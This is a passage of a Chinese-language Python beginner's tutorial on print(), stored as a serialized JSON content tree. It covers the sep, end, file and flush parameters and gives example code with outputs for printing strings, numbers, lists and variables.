文件储存对象",{"type":24,"value":102997},"”，把内容存到该文件中；",{"type":18,"tag":158,"props":102999,"children":103000},{},[103001,103007,103009,103015,103017,103023],{"type":18,"tag":74,"props":103002,"children":103004},{"className":103003},[],[103005],{"type":24,"value":103006},"flush",{"type":24,"value":103008},"：表示是否立刻将输出语句输出到目标对象，flush值为False或者True，默认",{"type":18,"tag":74,"props":103010,"children":103012},{"className":103011},[],[103013],{"type":24,"value":103014},"flush=False",{"type":24,"value":103016},"，表示输出值会保存在缓存中；当",{"type":18,"tag":74,"props":103018,"children":103020},{"className":103019},[],[103021],{"type":24,"value":103022},"flush=True",{"type":24,"value":103024},"时，输出值强制写入文件。",{"type":18,"tag":96,"props":103026,"children":103027},{},[103028],{"type":18,"tag":34,"props":103029,"children":103030},{},[103031,103033,103038,103039,103044,103046,103051,103053,103058,103060,103065,103067,103072,103073,103078,103079,103084,103085,103090,103091,103096,103098,103103,103105,103110,103112,103117,103119,103124],{"type":24,"value":103032},"提示：",{"type":18,"tag":74,"props":103034,"children":103036},{"className":103035},[],[103037],{"type":24,"value":37805},{"type":24,"value":10315},{"type":18,"tag":74,"props":103040,"children":103042},{"className":103041},[],[103043],{"type":24,"value":37816},{"type":24,"value":103045},"的参数",{"type":18,"tag":105,"props":103047,"children":103048},{},[103049],{"type":24,"value":103050},"必须是字符串",{"type":24,"value":103052},"；或者为",{"type":18,"tag":74,"props":103054,"children":103056},{"className":103055},[],[103057],{"type":24,"value":2496},{"type":24,"value":103059},"，为",{"type":18,"tag":74,"props":103061,"children":103063},{"className":103062},[],[103064],{"type":24,"value":2496},{"type":24,"value":103066},"时意味着",{"type":18,"tag":105,"props":103068,"children":103069},{},[103070],{"type":24,"value":103071},"使用其默认值",{"type":24,"value":111},{"type":18,"tag":74,"props":103074,"children":103076},{"className":103075},[],[103077],{"type":24,"value":37805},{"type":24,"value":1942},{"type":18,"tag":74,"props":103080,"children":103082},{"className":103081},[],[103083],{"type":24,"value":37816},{"type":24,"value":1942},{"type":18,"tag":74,"props":103086,"children":103088},{"className":103087},[],[103089],{"type":24,"value":8556},{"type":24,"value":1942},{"type":18,"tag":74,"props":103092,"children":103094},{"className":103093},[],[103095],{"type":24,"value":103006},{"type":24,"value":103097},"都",{"type":18,"tag":105,"props":103099,"children":103100},{},[103101],{"type":24,"value":103102},"必须以命名参数方式传参，否则会被当作需要输出的对象",{"type":24,"value":103104},"。如果",{"type":18,"tag":74,"props":103106,"children":103108},{"className":103107},[],[103109],{"type":24,"value":34598},{"type":24,"value":103111},"函数不传递任何参数，将会输出",{"type":18,"tag":74,"props":103113,"children":103115},{"className":103114},[],[103116],{"type":24,"value":37816},{"type":24,"value":103118},"参数的默认值，即",{"type":18,"tag":105,"props":103120,"children":103121},{},[103122],{"type":24,"value":103123},"打印一个空行",{"type":24,"value":111},{"type":18,"tag":337,"props":103126,"children":103128},{"id":103127},"锦囊01输出字符串",[103129],{"type":24,"value":103130},"锦囊01  输出字符串",{"type":18,"tag":34,"props":103132,"children":103133},{},[103134],{"type":24,"value":103135},"字符串可以直接输出，也可以和数字、运算符等形成表达式进行输出。示例代码如下：",{"type":18,"tag":287,"props":103137,"children":103139},{"code":103138,"language":28712,"meta":8,"className":28710,"style":8},"print()                         # 输出一个空行  \nprint('')                       # 输出一个空行  \n# 使用三引号可多行输出字符，如三行输出的服务器登录界面  \nprint('''      登录服务器  \n管理员：___________  \n密  码：___________    '''  )   # 字符最前和最后用三引号\n",[103140],{"type":18,"tag":74,"props":103141,"children":103142},{"__ignoreMap":8},[103143,103151,103159,103167,103175,103183],{"type":18,"tag":297,"props":103144,"children":103145},{"class":299,"line":300},[103146],{"type":18,"tag":297,"props":103147,"children":103148},{},[103149],{"type":24,"value":103150},"print()                         # 输出一个空行  \n",{"type":18,"tag":297,"props":103152,"children":103153},{"class":299,"line":657},[103154],{"type":18,"tag":297,"props":103155,"children":103156},{},[103157],{"type":24,"value":103158},"print('')                       # 输出一个空行  \n",{"type":18,"tag":297,"props":103160,"children":103161},{"class":299,"line":662},[103162],{"type":18,"tag":297,"props":103163,"children":103164},{},[103165],{"type":24,"value":103166},"# 使用三引号可多行输出字符，如三行输出的服务器登录界面  \n",{"type":18,"tag":297,"props":103168,"children":103169},{"class":299,"line":799},[103170],{"type":18,"tag":297,"props":103171,"children":103172},{},[103173],{"type":24,"value":103174},"print('''      登录服务器  \n",{"type":18,"tag":297,"props":103176,"children":103177},{"class":299,"line":808},[103178],{"type":18,"tag":297,"props":103179,"children":103180},{},[103181],{"type":24,"value":103182},"管理员：___________  \n",{"type":18,"tag":297,"props":103184,"children":103185},{"class":299,"line":817},[103186],{"type":18,"tag":297,"props":103187,"children":103188},{},[103189],{"type":24,"value":103190},"密  码：___________    '''  )   # 字符最前和最后用三引号\n",{"type":18,"tag":34,"props":103192,"children":103193},{},[103194],{"type":24,"value":103195},"运行结果如下：",{"type":18,"tag":287,"props":103197,"children":103199},{"code":103198,"language":28712,"meta":8,"className":28710,"style":8},"\n\n      登录服务器\n管理员：___________\n密  码：___________ \n",[103200],{"type":18,"tag":74,"props":103201,"children":103202},{"__ignoreMap":8},[103203,103210,103217,103225,103233],{"type":18,"tag":297,"props":103204,"children":103205},{"class":299,"line":300},[103206],{"type":18,"tag":297,"props":103207,"children":103208},{"emptyLinePlaceholder":793},[103209],{"type":24,"value":796},{"type":18,"tag":297,"props":103211,"children":103212},{"class":299,"line":657},[103213],{"type":18,"tag":297,"props":103214,"children":103215},{"emptyLinePlaceholder":793},[103216],{"type":24,"value":796},{"type":18,"tag":297,"props":103218,"children":103219},{"class":299,"line":662},[103220],{"type":18,"tag":297,"props":103221,"children":103222},{},[103223],{"type":24,"value":103224},"      登录服务器\n",{"type":18,"tag":297,"props":103226,"children":103227},{"class":299,"line":799},[103228],{"type":18,"tag":297,"props":103229,"children":103230},{},[103231],{"type":24,"value":103232},"管理员：___________\n",{"type":18,"tag":297,"props":103234,"children":103235},{"class":299,"line":808},[103236],{"type":18,"tag":297,"props":103237,"children":103238},{},[103239],{"type":24,"value":103240},"密  码：___________\n",{"type":18,"tag":287,"props":103242,"children":103244},{"code":103243,"language":28712,"meta":8,"className":28710,"style":8},"print(\"没有伟大的愿望，就没有伟大的天才!\")   # 使用双引号将字符串括起来\n",[103245],{"type":18,"tag":74,"props":103246,"children":103247},{"__ignoreMap":8},[103248],{"type":18,"tag":297,"props":103249,"children":103250},{"class":299,"line":300},[103251],{"type":18,"tag":297,"props":103252,"children":103253},{},[103254],{"type":24,"value":103243},{"type":18,"tag":34,"props":103256,"children":103257},{},[103258],{"type":24,"value":103195},{"type":18,"tag":287,"props":103260,"children":103262},{"code":103261},"没有伟大的愿望，就没有伟大的天才!\n",[103263],{"type":18,"tag":74,"props":103264,"children":103265},{"__ignoreMap":8},[103266],{"type":24,"value":103261},{"type":18,"tag":287,"props":103268,"children":103270},{"code":103269,"language":28712,"meta":8,"className":28710,"style":8},"print('go big or go home')                   # 使用单引号将字符串括起来\n",[103271],{"type":18,"tag":74,"props":103272,"children":103273},{"__ignoreMap":8},[103274],{"type":18,"tag":297,"props":103275,"children":103276},{"class":299,"line":300},[103277],{"type":18,"tag":297,"props":103278,"children":103279},{},[103280],{"type":24,"value":103269},{"type":18,"tag":34,"props":103282,"children":103283},{},[103284],{"type":24,"value":103195},{"type":18,"tag":287,"props":103286,"children":103288},{"code":103287},"go big or go home\n",[103289],{"type":18,"tag":74,"props":103290,"children":103291},{"__ignoreMap":8},[103292],{"type":24,"value":103287},{"type":18,"tag":287,"props":103294,"children":103296},{"code":103295,"language":28712,"meta":8,"className":28710,"style":8},"print('go','big','or','go','home')         # 字符之间用','间隔，则字符串用空格连接\n",[103297],{"type":18,"tag":74,"props":103298,"children":103299},{"__ignoreMap":8},[103300],{"type":18,"tag":297,"props":103301,"children":103302},{"class":299,"line":300},[103303],{"type":18,"tag":297,"props":103304,"children":103305},{},[103306],{"type":24,"value":103295},{"type":18,"tag":34,"props":103308,"children":103309},{},[103310],{"type":24,"value":103195},{"type":18,"tag":287,"props":103312,"children":103313},{"code":103287},[103314],{"type":18,"tag":74,"props":103315,"children":103316},{"__ignoreMap":8},[103317],{"type":24,"value":103287},{"type":18,"tag":287,"props":103319,"children":103321},{"code":103320,"language":28712,"meta":8,"className":28710,"style":8},"print('go' 'big' 'or' 'go' 'home')         # 字符之间不用','间隔，则字符串无空格连接\n",[103322],{"type":18,"tag":74,"props":103323,"children":103324},{"__ignoreMap":8},[103325],{"type":18,"tag":297,"props":103326,"children":103327},{"class":299,"line":300},[103328],{"type":18,"tag":297,"props":103329,"children":103330},{},[103331],{"type":24,"value":103320},{"type":18,"tag":34,"props":103333,"children":103334},{},[103335],{"type":24,"value":103195},{"type":18,"tag":287,"props":103337,"children":103339},{"code":103338},"Gobigorgohome\n",[103340],{"type":18,"tag":74,"props":103341,"children":103342},{"__ignoreMap":8},[103343],{"type":24,"value":103338},{"type":18,"tag":287,"props":103345,"children":103347},{"code":103346,"language":28712,"meta":8,"className":28710,"style":8},"print('go'+ 'big'+ 'or'+'go'+'home')   # 用加号“+” 连接输出字符串\n",[103348],{"type":18,"tag":74,"props":103349,"children":103350},{"__ignoreMap":8},[103351],{"type":18,"tag":297,"props":103352,"children":103353},{"class":299,"line":300},[103354],{"type":18,"tag":297,"props":103355,"children":103356},{},[103357],{"type":24,"value":103346},{"type":18,"tag":34,"props":103359,"children":103360},{},[103361],{"type":24,"value":103195},{"type":18,"tag":287,"props":103363,"children":103364},{"code":103338},[103365],{"type":18,"tag":74,"props":103366,"children":103367},{"__ignoreMap":8},[103368],{"type":24,"value":103338},{"type":18,"tag":287,"props":103370,"children":103372},{"code":103371,"language":28712,"meta":8,"className":28710,"style":8},"print('www','mingrisoft','com',sep='.')    # 设置间隔符,字符之间用'.'间隔\n",[103373],{"type":18,"tag":74,"props":103374,"children":103375},{"__ignoreMap":8},[103376],{"type":18,"tag":297,"props":103377,"children":103378},{"class":299,"line":300},[103379],{"type":18,"tag":297,"props":103380,"children":103381},{},[103382],{"type":24,"value":103371},{"type":18,"tag":34,"props":103384,"children":103385},{},[103386],{"type":24,"value":103195},{"type":18,"tag":287,"props":103388,"children":103390},{"code":103389},"www.mingrisoft.com\n",[103391],{"type":18,"tag":74,"props":103392,"children":103393},{"__ignoreMap":8},[103394],{"type":24,"value":103389},{"type":18,"tag":287,"props":103396,"children":103398},{"code":103397,"language":28712,"meta":8,"className":28710,"style":8},"print('2020','7','24',sep='-')              # 设置间隔符,字符之间用'-'间隔\n",[103399],{"type":18,"tag":74,"props":103400,"children":103401},{"__ignoreMap":8},[103402],{"type":18,"tag":297,"props":103403,"children":103404},{"class":299,"line":300},[103405],{"type":18,"tag":297,"props":103406,"children":103407},{},[103408],{"type":24,"value":103397},{"type":18,"tag":34,"props":103410,"children":103411},{},[103412],{"type":24,"value":103195},{"type":18,"tag":287,"props":103414,"children":103416},{"code":103415},"2020-7-24\n",[103417],{"type":18,"tag":74,"props":103418,"children":103419},{"__ignoreMap":8},[103420],{"type":24,"value":103415},{"type":18,"tag":287,"props":103422,"children":103424},{"code":103423,"language":28712,"meta":8,"className":28710,"style":8},"print(50 * '= ')            # 一次输出多个字符，使用数字、运算符和字符串\n",[103425],{"type":18,"tag":74,"props":103426,"children":103427},{"__ignoreMap":8},[103428],{"type":18,"tag":297,"props":103429,"children":103430},{"class":299,"line":300},[103431],{"type":18,"tag":297,"props":103432,"children":103433},{},[103434],{"type":24,"value":103423},{"type":18,"tag":34,"props":103436,"children":103437},{},[103438],{"type":24,"value":103195},{"type":18,"tag":287,"props":103440,"children":103442},{"code":103441},"===================================================================\n",[103443],{"type":18,"tag":74,"props":103444,"children":103445},{"__ignoreMap":8},[103446],{"type":24,"value":103441},{"type":18,"tag":287,"props":103448,"children":103450},{"code":103449,"language":28712,"meta":8,"className":28710,"style":8},"# 使用chr()函数，根据字符的ASCII值，输出字符  \nprint(chr(65))              # 大写字母的ASCII值为65~90\n",[103451],{"type":18,"tag":74,"props":103452,"children":103453},{"__ignoreMap":8},[103454,103462],{"type":18,"tag":297,"props":103455,"children":103456},{"class":299,"line":300},[103457],{"type":18,"tag":297,"props":103458,"children":103459},{},[103460],{"type":24,"value":103461},"# 使用chr()函数，根据字符的ASCII值，输出字符  \n",{"type":18,"tag":297,"props":103463,"children":103464},{"class":299,"line":657},[103465],{"type":18,"tag":297,"props":103466,"children":103467},{},[103468],{"type":24,"value":103469},"print(chr(65))              # 大写字母的ASCII值为65~90\n",{"type":18,"tag":34,"props":103471,"children":103472},{},[103473],{"type":24,"value":103195},{"type":18,"tag":287,"props":103475,"children":103477},{"code":103476},"A\n",[103478],{"type":18,"tag":74,"props":103479,"children":103480},{"__ignoreMap":8},[103481],{"type":24,"value":103476},{"type":18,"tag":287,"props":103483,"children":103485},{"code":103484,"language":28712,"meta":8,"className":28710,"style":8},"print(chr(97))              # 小写字母的ASCII值为97~122\n",[103486],{"type":18,"tag":74,"props":103487,"children":103488},{"__ignoreMap":8},[103489],{"type":18,"tag":297,"props":103490,"children":103491},{"class":299,"line":300},[103492],{"type":18,"tag":297,"props":103493,"children":103494},{},[103495],{"type":24,"value":103484},{"type":18,"tag":34,"props":103497,"children":103498},{},[103499],{"type":24,"value":103195},{"type":18,"tag":287,"props":103501,"children":103503},{"code":103502},"a\n",[103504],{"type":18,"tag":74,"props":103505,"children":103506},{"__ignoreMap":8},[103507],{"type":24,"value":103502},{"type":18,"tag":287,"props":103509,"children":103511},{"code":103510,"language":28712,"meta":8,"className":28710,"style":8},"print(chr(8544),chr(8545),chr(8546),chr(8547))\n",[103512],{"type":18,"tag":74,"props":103513,"children":103514},{"__ignoreMap":8},[103515],{"type":18,"tag":297,"props":103516,"children":103517},{"class":299,"line":300},[103518],{"type":18,"tag":297,"props":103519,"children":103520},{},[103521],{"type":24,"value":103510},{"type":18,"tag":34,"props":103523,"children":103524},{},[103525],{"type":24,"value":103195},{"type":18,"tag":287,"props":103527,"children":103529},{"code":103528},"Ⅰ Ⅱ Ⅲ Ⅳ\n",[103530],{"type":18,"tag":74,"props":103531,"children":103532},{"__ignoreMap":8},[103533],{"type":24,"value":103528},{"type":18,"tag":287,"props":103535,"children":103537},{"code":103536,"language":28712,"meta":8,"className":28710,"style":8},"# 使用ord()函数将字符转换为对应的整数  \nprint(ord('生'),ord('化'),ord('危'),ord('机'))\n",[103538],{"type":18,"tag":74,"props":103539,"children":103540},{"__ignoreMap":8},[103541,103549],{"type":18,"tag":297,"props":103542,"children":103543},{"class":299,"line":300},[103544],{"type":18,"tag":297,"props":103545,"children":103546},{},[103547],{"type":24,"value":103548},"# 使用ord()函数将字符转换为对应的整数  \n",{"type":18,"tag":297,"props":103550,"children":103551},{"class":299,"line":657},[103552],{"type":18,"tag":297,"props":103553,"children":103554},{},[103555],{"type":24,"value":103556},"print(ord('生'),ord('化'),ord('危'),ord('机'))\n",{"type":18,"tag":34,"props":103558,"children":103559},{},[103560],{"type":24,"value":103195},{"type":18,"tag":287,"props":103562,"children":103564},{"code":103563},"29983 21270 21361 26426\n",[103565],{"type":18,"tag":74,"props":103566,"children":103567},{"__ignoreMap":8},[103568],{"type":24,"value":103563},{"type":18,"tag":337,"props":103570,"children":103572},{"id":103571},"锦囊02输出数值",[103573],{"type":24,"value":103574},"锦囊02  输出数值",{"type":18,"tag":34,"props":103576,"children":103577},{},[103578],{"type":24,"value":103579},"数值类型可以直接输出，但使用“+”连接数值和其他数据类型时，系统会默认为是加法计算，会报错。可以使用“,”连接，或者将数值作为字符串来处理，两端加单引号或双引号。示例代码如下：",{"type":18,"tag":287,"props":103581,"children":103583},{"code":103582,"language":28712,"meta":8,"className":28710,"style":8},"print(1314)                       # 直接输出整数，可不带双引号或单引号。输出结果：1314  \nprint(12.22)                      # 直接输出浮点数。输出结果：12.22  \nprint(10 \u002F 3)                     # 可以包含算术表达式，输出运算结果为：3.3333333333333335  \nprint(100 * 3.13 + 60)           # 可以包含算术表达式，输出运算结果为：373  \nprint(2, 0, 2, 0)                 # 使用“,”连接要输出的数值，中间用空格连接。输出结果：2 0 2 0  \nprint(192, 168, 1, 1, sep='.')   # 使用“.”连接输出数值，数值间用“.”间隔。输出结果：192.168.1.1  \nprint(\"广州恒大\" + 43)             # 不能直接使用“+”连接字符串和数值，会报错。异常信息为：TypeError: can only concatenate str (not \"int\") to str  \nprint(\"广州恒大\" + str(43)) # 使用“+”连接字符串和数值时，数值要转换为字符串。输出结果：广州恒大43  \nprint(\"广州恒大\", 43)      # 使用“,”连接字符串和数值，字符串和数值用空格分隔。输出结果：广州恒大 43\nprint(\"%e\" % 120563332111098)     # 使用操作符\"%e\"%格式化数值为科学记数法。输出结果：1.205633e+14\n",[103584],{"type":18,"tag":74,"props":103585,"children":103586},{"__ignoreMap":8},[103587,103595,103603,103611,103619,103627,103635,103643,103651,103659],{"type":18,"tag":297,"props":103588,"children":103589},{"class":299,"line":300},[103590],{"type":18,"tag":297,"props":103591,"children":103592},{},[103593],{"type":24,"value":103594},"print(1314)                       # 直接输出整数，可不带双引号或单引号。输出结果：1314  \n",{"type":18,"tag":297,"props":103596,"children":103597},{"class":299,"line":657},[103598],{"type":18,"tag":297,"props":103599,"children":103600},{},[103601],{"type":24,"value":103602},"print(12.22)                      # 直接输出浮点数。输出结果：12.22  \n",{"type":18,"tag":297,"props":103604,"children":103605},{"class":299,"line":662},[103606],{"type":18,"tag":297,"props":103607,"children":103608},{},[103609],{"type":24,"value":103610},"print(10 \u002F 3)                     # 可以包含算术表达式，输出运算结果为：3.3333333333333335  \n",{"type":18,"tag":297,"props":103612,"children":103613},{"class":299,"line":799},[103614],{"type":18,"tag":297,"props":103615,"children":103616},{},[103617],{"type":24,"value":103618},"print(100 * 3.13 + 60)           # 可以包含算术表达式，输出运算结果为：373  \n",{"type":18,"tag":297,"props":103620,"children":103621},{"class":299,"line":808},[103622],{"type":18,"tag":297,"props":103623,"children":103624},{},[103625],{"type":24,"value":103626},"print(2, 0, 2, 0)                 # 使用“,”连接要输出的数值，中间用空格连接。输出结果：2 0 2 0  \n",{"type":18,"tag":297,"props":103628,"children":103629},{"class":299,"line":817},[103630],{"type":18,"tag":297,"props":103631,"children":103632},{},[103633],{"type":24,"value":103634},"print(192, 168, 1, 1, sep='.')   # 使用“.”连接输出数值，数值间用“.”间隔。输出结果：192.168.1.1  \n",{"type":18,"tag":297,"props":103636,"children":103637},{"class":299,"line":826},[103638],{"type":18,"tag":297,"props":103639,"children":103640},{},[103641],{"type":24,"value":103642},"print(\"广州恒大\" + 43)             # 不能直接使用“+”连接字符串和数值，会报错。异常信息为：TypeError: can only concatenate str (not \"int\") to str  \n",{"type":18,"tag":297,"props":103644,"children":103645},{"class":299,"line":4524},[103646],{"type":18,"tag":297,"props":103647,"children":103648},{},[103649],{"type":24,"value":103650},"print(\"广州恒大\" + str(43)) # 使用“+”连接字符串和数值时，数值要转换为字符串。输出结果：广州恒大43  \n",{"type":18,"tag":297,"props":103652,"children":103653},{"class":299,"line":4533},[103654],{"type":18,"tag":297,"props":103655,"children":103656},{},[103657],{"type":24,"value":103658},"print(\"广州恒大\", 43)      # 使用“,”连接字符串和数值，字符串和数值用空格分隔。输出结果：广州恒大 43\n",{"type":18,"tag":297,"props":103660,"children":103661},{"class":299,"line":4546},[103662],{"type":18,"tag":297,"props":103663,"children":103664},{},[103665],{"type":24,"value":103666},"print(\"%e\" % 120563332111098)     # 使用操作符\"%e\"%格式化数值为科学记数法。输出结果：1.205633e+14\n",{"type":18,"tag":337,"props":103668,"children":103670},{"id":103669},"锦囊03-输出变量",[103671],{"type":24,"value":103672},"锦囊03  输出变量",{"type":18,"tag":34,"props":103674,"children":103675},{},[103676],{"type":24,"value":103677},"字符串、数值型、布尔型、列表、字典等各种变量都可以直接输出。示例代码如下：",{"type":18,"tag":287,"props":103679,"children":103681},{"code":103680,"language":28712,"meta":8,"className":28710,"style":8},"stra= 'go big or go home'      # 定义一个字符串变量stra  \nprint(stra)                    # 输出变量stra的值\n",[103682],{"type":18,"tag":74,"props":103683,"children":103684},{"__ignoreMap":8},[103685,103693],{"type":18,"tag":297,"props":103686,"children":103687},{"class":299,"line":300},[103688],{"type":18,"tag":297,"props":103689,"children":103690},{},[103691],{"type":24,"value":103692},"stra= 'go big or go home'      # 定义一个字符串变量stra  \n",{"type":18,"tag":297,"props":103694,"children":103695},{"class":299,"line":657},[103696],{"type":18,"tag":297,"props":103697,"children":103698},{},[103699],{"type":24,"value":103700},"print(stra)                    # 输出变量stra的值\n",{"type":18,"tag":34,"props":103702,"children":103703},{},[103704],{"type":24,"value":103195},{"type":18,"tag":287,"props":103706,"children":103707},{"code":103287},[103708],{"type":18,"tag":74,"props":103709,"children":103710},{"__ignoreMap":8},[103711],{"type":24,"value":103287},{"type":18,"tag":287,"props":103713,"children":103715},{"code":103714,"language":28712,"meta":8,"className":28710,"style":8},"num = 27                       # 定义一个数值型变量num  \nprint(num)                     # 输出变量num的值\n",[103716],{"type":18,"tag":74,"props":103717,"children":103718},{"__ignoreMap":8},[103719,103727],{"type":18,"tag":297,"props":103720,"children":103721},{"class":299,"line":300},[103722],{"type":18,"tag":297,"props":103723,"children":103724},{},[103725],{"type":24,"value":103726},"num = 27                       # 定义一个数值型变量num  \n",{"type":18,"tag":297,"props":103728,"children":103729},{"class":299,"line":657},[103730],{"type":18,"tag":297,"props":103731,"children":103732},{},[103733],{"type":24,"value":103734},"print(num)                     # 输出变量num的值\n",{"type":18,"tag":34,"props":103736,"children":103737},{},[103738],{"type":24,"value":103195},{"type":18,"tag":287,"props":103740,"children":103742},{"code":103741},"27\n",[103743],{"type":18,"tag":74,"props":103744,"children":103745},{"__ignoreMap":8},[103746],{"type":24,"value":103741},{"type":18,"tag":287,"props":103748,"children":103750},{"code":103749,"language":28712,"meta":8,"className":28710,"style":8},"stra= '你若盛开'               # 定义字符串变量stra  \nstrb= '蝴蝶自来'               # 定义字符串变量strb  \nprint(stra,strb)              # 使用“，”连接变量stra和strb，中间用空格分隔  \nprint(stra +'\\n' + strb)      # 使用'\\n'连接变量stra和strb，换行分隔  \nprint(stra + strb)            # 使用“+”连接变量stra和strb，直接连接无空格\n",[103751],{"type":18,"tag":74,"props":103752,"children":103753},{"__ignoreMap":8},[103754,103762,103770,103778,103786],{"type":18,"tag":297,"props":103755,"children":103756},{"class":299,"line":300},[103757],{"type":18,"tag":297,"props":103758,"children":103759},{},[103760],{"type":24,"value":103761},"stra= '你若盛开'               # 定义字符串变量stra  \n",{"type":18,"tag":297,"props":103763,"children":103764},{"class":299,"line":657},[103765],{"type":18,"tag":297,"props":103766,"children":103767},{},[103768],{"type":24,"value":103769},"strb= '蝴蝶自来'               # 定义字符串变量strb  \n",{"type":18,"tag":297,"props":103771,"children":103772},{"class":299,"line":662},[103773],{"type":18,"tag":297,"props":103774,"children":103775},{},[103776],{"type":24,"value":103777},"print(stra,strb)              # 使用“，”连接变量stra和strb，中间用空格分隔  \n",{"type":18,"tag":297,"props":103779,"children":103780},{"class":299,"line":799},[103781],{"type":18,"tag":297,"props":103782,"children":103783},{},[103784],{"type":24,"value":103785},"print(stra +'\\n' + strb)      # 使用'\\n'连接变量stra和strb，换行分隔  \n",{"type":18,"tag":297,"props":103787,"children":103788},{"class":299,"line":808},[103789],{"type":18,"tag":297,"props":103790,"children":103791},{},[103792],{"type":24,"value":103793},"print(stra + strb)            # 使用“+”连接变量stra和strb，直接连接无空格\n",{"type":18,"tag":34,"props":103795,"children":103796},{},[103797],{"type":24,"value":103195},{"type":18,"tag":287,"props":103799,"children":103801},{"code":103800},"你若盛开 蝴蝶自来\n你若盛开\n蝴蝶自来\n你若盛开蝴蝶自来\n",[103802],{"type":18,"tag":74,"props":103803,"children":103804},{"__ignoreMap":8},[103805],{"type":24,"value":103800},{"type":18,"tag":287,"props":103807,"children":103809},{"code":103808,"language":28712,"meta":8,"className":28710,"style":8},"print(stra +'\\n' , strb)     # 添加'\\n'换行后，使用“，”连接的字符串前面仍然有一个空格\n",[103810],{"type":18,"tag":74,"props":103811,"children":103812},{"__ignoreMap":8},[103813],{"type":18,"tag":297,"props":103814,"children":103815},{"class":299,"line":300},[103816],{"type":18,"tag":297,"props":103817,"children":103818},{},[103819],{"type":24,"value":103808},{"type":18,"tag":34,"props":103821,"children":103822},{},[103823],{"type":24,"value":103195},{"type":18,"tag":287,"props":103825,"children":103827},{"code":103826},"你若盛开\n 蝴蝶自来\n",[103828],{"type":18,"tag":74,"props":103829,"children":103830},{"__ignoreMap":8},[103831],{"type":24,"value":103826},{"type":18,"tag":287,"props":103833,"children":103835},{"code":103834,"language":28712,"meta":8,"className":28710,"style":8},"name = ['杨过','临安','1224','小龙女']  \n  \nprint(name)  \nprint('--'.join(name))                 # 使用“--”连接列表内数据  \nprint(' '.join(name))                  # 使用空格“ ”连接列表内数据  \nprint(''.join(name))                   # 直接连接列表内数据\n",[103836],{"type":18,"tag":74,"props":103837,"children":103838},{"__ignoreMap":8},[103839,103847,103854,103862,103870,103878],{"type":18,"tag":297,"props":103840,"children":103841},{"class":299,"line":300},[103842],{"type":18,"tag":297,"props":103843,"children":103844},{},[103845],{"type":24,"value":103846},"name = ['杨过','临安','1224','小龙女']  \n",{"type":18,"tag":297,"props":103848,"children":103849},{"class":299,"line":657},[103850],{"type":18,"tag":297,"props":103851,"children":103852},{},[103853],{"type":24,"value":36783},{"type":18,"tag":297,"props":103855,"children":103856},{"class":299,"line":662},[103857],{"type":18,"tag":297,"props":103858,"children":103859},{},[103860],{"type":24,"value":103861},"print(name)  \n",{"type":18,"tag":297,"props":103863,"children":103864},{"class":299,"line":799},[103865],{"type":18,"tag":297,"props":103866,"children":103867},{},[103868],{"type":24,"value":103869},"print('--'.join(name))                 # 使用“--”连接列表内数据  \n",{"type":18,"tag":297,"props":103871,"children":103872},{"class":299,"line":808},[103873],{"type":18,"tag":297,"props":103874,"children":103875},{},[103876],{"type":24,"value":103877},"print(' '.join(name))                  # 使用空格“ ”连接列表内数据  \n",{"type":18,"tag":297,"props":103879,"children":103880},{"class":299,"line":817},[103881],{"type":18,"tag":297,"props":103882,"children":103883},{},[103884],{"type":24,"value":103885},"print(''.join(name))                   # 直接连接列表内数据\n",{"type":18,"tag":34,"props":103887,"children":103888},{},[103889],{"type":24,"value":103195},{"type":18,"tag":287,"props":103891,"children":103893},{"code":103892},"['杨过', '临安', '1224', '小龙女']\n杨过--临安--1224--小龙女\n杨过 临安 1224 小龙女\n杨过临安1224小龙女\n",[103894],{"type":18,"tag":74,"props":103895,"children":103896},{"__ignoreMap":8},[103897],{"type":24,"value":103892},{"type":18,"tag":287,"props":103899,"children":103901},{"code":103900,"language":28712,"meta":8,"className":28710,"style":8},"word = '世界那么大，'  \nname= '黄蓉'  \nhow= '想出去看看！！'  \nprint(word, name, how)                   # 用“，”连接变量，中间用空格分隔  \nprint(word, name, how,sep='.')           # 设置间隔符为“，”  \nprint(word, name, how,sep='****')        # 设置间隔符为“****”\n",[103902],{"type":18,"tag":74,"props":103903,"children":103904},{"__ignoreMap":8},[103905,103913,103921,103929,103937,103945],{"type":18,"tag":297,"props":103906,"children":103907},{"class":299,"line":300},[103908],{"type":18,"tag":297,"props":103909,"children":103910},{},[103911],{"type":24,"value":103912},"word = '世界那么大，'  \n",{"type":18,"tag":297,"props":103914,"children":103915},{"class":299,"line":657},[103916],{"type":18,"tag":297,"props":103917,"children":103918},{},[103919],{"type":24,"value":103920},"name= '黄蓉'  \n",{"type":18,"tag":297,"props":103922,"children":103923},{"class":299,"line":662},[103924],{"type":18,"tag":297,"props":103925,"children":103926},{},[103927],{"type":24,"value":103928},"how= '想出去看看！！'  \n",{"type":18,"tag":297,"props":103930,"children":103931},{"class":299,"line":799},[103932],{"type":18,"tag":297,"props":103933,"children":103934},{},[103935],{"type":24,"value":103936},"print(word, name, how)                   # 用“，”连接变量，中间用空格分隔  \n",{"type":18,"tag":297,"props":103938,"children":103939},{"class":299,"line":808},[103940],{"type":18,"tag":297,"props":103941,"children":103942},{},[103943],{"type":24,"value":103944},"print(word, name, how,sep='.')           # 设置间隔符为“，”  \n",{"type":18,"tag":297,"props":103946,"children":103947},{"class":299,"line":817},[103948],{"type":18,"tag":297,"props":103949,"children":103950},{},[103951],{"type":24,"value":103952},"print(word, name, how,sep='****')        # 设置间隔符为“****”\n",{"type":18,"tag":34,"props":103954,"children":103955},{},[103956],{"type":24,"value":103195},{"type":18,"tag":287,"props":103958,"children":103960},{"code":103959},"世界那么大， 黄蓉 想出去看看！！\n世界那么大，.黄蓉.想出去看看！！\n世界那么大，****黄蓉****想出去看看！！\n",[103961],{"type":18,"tag":74,"props":103962,"children":103963},{"__ignoreMap":8},[103964],{"type":24,"value":103959},{"type":18,"tag":287,"props":103966,"children":103968},{"code":103967,"language":28712,"meta":8,"className":28710,"style":8},"word = [\"南京\",\"苏州\",\"上海\",\"杭州\",\"宁波\"]  \n  \nfor item in word:                        # 遍历列表  \n    print(item)                           # 输出每个列表元素\n",[103969],{"type":18,"tag":74,"props":103970,"children":103971},{"__ignoreMap":8},[103972,103980,103987,103995],{"type":18,"tag":297,"props":103973,"children":103974},{"class":299,"line":300},[103975],{"type":18,"tag":297,"props":103976,"children":103977},{},[103978],{"type":24,"value":103979},"word = [\"南京\",\"苏州\",\"上海\",\"杭州\",\"宁波\"]  \n",{"type":18,"tag":297,"props":103981,"children":103982},{"class":299,"line":657},[103983],{"type":18,"tag":297,"props":103984,"children":103985},{},[103986],{"type":24,"value":36783},{"type":18,"tag":297,"props":103988,"children":103989},{"class":299,"line":662},[103990],{"type":18,"tag":297,"props":103991,"children":103992},{},[103993],{"type":24,"value":103994},"for item in word:                        # 